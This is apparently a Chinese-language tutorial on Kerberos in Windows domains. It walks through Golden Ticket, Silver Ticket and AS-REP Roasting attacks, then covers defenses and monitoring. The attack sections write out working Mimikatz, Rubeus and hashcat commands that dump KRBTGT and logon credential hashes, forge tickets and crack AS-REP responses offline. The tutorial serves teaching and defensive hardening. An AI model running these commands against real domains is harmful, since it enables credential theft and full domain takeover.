一、Kerberos协议是什么?
想象你进公司大楼需要刷卡,Kerberos就是Windows域环境里的"刷卡系统"。它负责验证你是谁(认证),并决定你能进哪些房间(授权)。这个协议有三个关键角色:
- 客户机:比如你的办公电脑
- 域控制器:负责发"门禁卡"的保安
- 服务:你想访问的打印机、文件服务器等
举个生活例子:你去健身房,前台(域控)核对会员信息后给你手环(Ticket),不同颜色手环能进不同区域(服务权限)。
二、常见的攻击手法
1. 黄金票据(Golden Ticket)
原理:伪造万能门禁卡。攻击者获取域控的KRBTGT账户密码后,可以签发任意服务的访问票据。
技术栈:PowerShell
# 1. 导出KRBTGT账户的NTLM哈希(需域管理员权限)
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName DC01
# 2. 生成黄金票据(示例参数)
Invoke-Mimikatz -Command '"kerberos::golden /user:fakeadmin /domain:contoso.com /sid:S-1-5-21-123456789 /krbtgt:a1b2c3d4e5f6g7h8 /ticket:golden.kirbi"'
# 3. 使用票据访问域控文件共享
.\Rubeus.exe asktgs /ticket:golden.kirbi /service:cifs/dc01.contoso.com
注释:/sid是域SID,/krbtgt是哈希值,生成的文件可绕过密码验证
2. 白银票据(Silver Ticket)
原理:伪造特定服务的"临时通行证"。相比黄金票据,它不需要域控密码,但只能针对单一服务。
示例场景:攻击文件服务器
# 1. 获取服务账户的NTLM哈希(如文件服务器机器账户)
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
# 2. 生成针对文件服务的白银票据
Invoke-Mimikatz -Command '"kerberos::golden /user:fakeuser /domain:contoso.com /sid:S-1-5-21-123456789 /target:fileserver01 /service:cifs /rc4:1a2b3c4d5e6f7g8 /ticket:silver.kirbi"'
# 3. 直接访问共享文件夹
dir \\fileserver01\财务数据
注释:/rc4是服务账户哈希,/service指定服务类型(如cifs用于文件共享)
3. AS-REP Roasting
原理:趁用户忘记设置"二次验证"时,直接拦截登录凭证。某些账户设置了"不需要预认证",攻击者可以冒充该用户向域控索要加密数据,然后离线破解。
技术演示:
# 查找无需预认证的账户
Get-ADUser -Filter 'DoesNotRequirePreAuth -eq $true' -Properties DoesNotRequirePreAuth
# 使用Rubeus工具获取AS-REP响应
.\Rubeus.exe asreproast /user:weakuser /format:hashcat /outfile:hashes.txt
# 用Hashcat破解(示例命令)
hashcat -m 18200 hashes.txt rockyou.txt
注释:此攻击成功率取决于密码强度,建议强制所有账户启用预认证
三、如何防御这些攻击
1. 基础防护措施
- 定期重置KRBTGT密码:微软建议至少每6个月重置2次(需特殊步骤)
- 启用LSA保护:防止mimikatz等工具抓取内存密码
# 启用LSA保护(需重启)
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 1 -Type DWORD
2. 高级监控手段
- 检测异常票据请求:比如同一用户短时间内请求多种服务票据
# 通过Windows事件ID 4769监控异常
Get-WinEvent -LogName "Security" -FilterXPath '*[System[EventID=4769]]' | Where-Object { $_.Message -match "异常服务名" }
3. 架构优化建议
- 限制域管理员登录范围:禁止域管理员在普通工作站登录
- 启用Kerberos审计:跟踪TGS请求中的敏感操作
四、实际攻防案例分析
某企业渗透测试记录:
- 攻击者先通过钓鱼邮件获取普通员工凭据
- 发现该员工属于IT组,有权访问内部管理系统
- 利用该账户发起Kerberoasting攻击,获取SQL服务账户的TGS票据
- 离线破解后,用该凭证横向移动到数据库服务器
防御方改进方案:
- 对所有服务账户启用60字符以上随机密码
- 部署微软ATA(高级威胁分析)平台检测异常票据请求
- 实施网络分段,限制数据库服务器的入站连接
五、总结与建议
技术优缺点对比:
| 攻击手法 | 优点 | 缺点 |
|----------------|-----------------------|-------------------------------|
| 黄金票据 | 持久控制整个域 | 需要获取域控权限 |
| 白银票据 | 无需接触域控 | 仅对特定服务有效 |
| AS-REP Roasting| 无需初始权限 | 依赖弱密码账户配置 |
给开发者的建议:
- 在代码中避免硬编码域账户凭据
- 使用组托管服务账户(gMSA)替代传统服务账户
- 定期审核域内的Kerberos策略(如票证生命周期设置)
给运维人员的清单:
- 每月检查域控的异常登录事件
- 确保所有账户的"Do not require Kerberos preauthentication"未勾选
- 关键服务器启用Windows Defender Credential Guard
评论